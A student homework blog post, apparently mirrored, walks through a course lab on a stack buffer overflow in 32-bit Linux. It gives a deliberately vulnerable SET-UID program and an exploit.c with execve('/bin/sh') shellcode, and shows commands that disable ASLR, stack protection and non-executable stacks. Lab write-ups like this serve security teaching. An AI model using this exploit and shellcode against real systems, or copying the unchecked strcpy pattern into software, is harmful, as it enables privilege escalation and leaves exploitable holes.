zoukankan      html  css  js  c++  java
  • 2020-2021-1 20209310《Linux内核原理与分析》第十一周作业

    作业信息

    这个作业属于哪个课程 <2020-2021-1Linux内核原理与分析)>
    这个作业要求在哪里 <2020-2021-1Linux内核原理与分析第十一周作业>
    这个作业的目标 <完成缓冲区溢出漏洞实验>
    作业正文 <本博客链接>
    1. 实验准备,输入命令安装一些用于编译 32 位 C 程序的软件包:
    sudo apt-get update
    sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
    sudo apt-get install -y python3.6-gdbm gdb
    
    1. 关闭地址空间随机化
      sudo sysctl -w kernel.randomize_va_space=0
    2. 设置 zsh 程序
    sudo su
    cd /bin
    rm sh
    ln -s zsh sh
    exit
    

    1. 输入命令 linux32 进入32位linux环境
    linux32
    /bin/bash
    

    1. 构建漏洞程序
      在 /tmp 目录下新建一个 stack.c 文件编译,该程序,并设置 SET-UID
      代码如下:
    /* stack.c */
    
    /* This program has a buffer overflow vulnerability. */
    /* Our task is to exploit this vulnerability */
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    int bof(char *str)
    {
        char buffer[12];
    
        /* The following statement has a buffer overflow problem */ 
        strcpy(buffer, str);
    
        return 1;
    }
    
    int main(int argc, char **argv)
    {
        char str[517];
        FILE *badfile;
    
        badfile = fopen("badfile", "r");
        fread(str, sizeof(char), 517, badfile);
        bof(str);
    
        printf("Returned Properly
    ");
        return 1;
    }
    

    编译程序:

    sudo su
    gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
    chmod u+s stack
    exit
    

    1. 构造攻击程序
      在 /tmp 目录下新建一个 exploit.c 文件,代码如下:
    /* exploit.c */
    /* A program that creates a file containing code for launching shell*/
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    char shellcode[] =
        "x31xc0" //xorl %eax,%eax
        "x50"     //pushl %eax
        "x68""//sh" //pushl $0x68732f2f
        "x68""/bin"     //pushl $0x6e69622f
        "x89xe3" //movl %esp,%ebx
        "x50"     //pushl %eax
        "x53"     //pushl %ebx
        "x89xe1" //movl %esp,%ecx
        "x99"     //cdq
        "xb0x0b" //movb $0x0b,%al
        "xcdx80" //int $0x80
        ;
    
    void main(int argc, char **argv)
    {
        char buffer[517];
        FILE *badfile;
    
        /* Initialize buffer with 0x90 (NOP instruction) */
        memset(&buffer, 0x90, 517);
    
        /* You need to fill the buffer with appropriate contents here */
        strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
        strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100
    
        /* Save the contents to the file "badfile" */
        badfile = fopen("./badfile", "w");
        fwrite(buffer, 517, 1, badfile);
        fclose(badfile);
    }
    

    输入命令进入 gdb 调试,获取 shellcode 在内存中的地址:

    gdb stack
    disass main
    


    设置断点,获取esp的地址:

    得到str的地址为0xffffcfb0,经过计算得到shellcode的地址为0xffffd014:

    修改 exploit.c 文件,将 x??x??x??x?? 修改为计算的结果 x14xd0xffxff,然后编译exploit.c
    gcc -m32 -o exploit exploit.c
    7. 依次运行攻击程序和漏洞程序

    成功获取root权限。

  • 相关阅读:
    107. Binary Tree Level Order Traversal II
    108. Convert Sorted Array to Binary Search Tree
    111. Minimum Depth of Binary Tree
    49. Group Anagrams
    使用MALTAB标定实践记录
    442. Find All Duplicates in an Array
    522. Longest Uncommon Subsequence II
    354. Russian Doll Envelopes
    opencv 小任务3 灰度直方图
    opencv 小任务2 灰度
  • 原文地址:https://www.cnblogs.com/bestYZF/p/14165024.html
Copyright © 2011-2022 走看看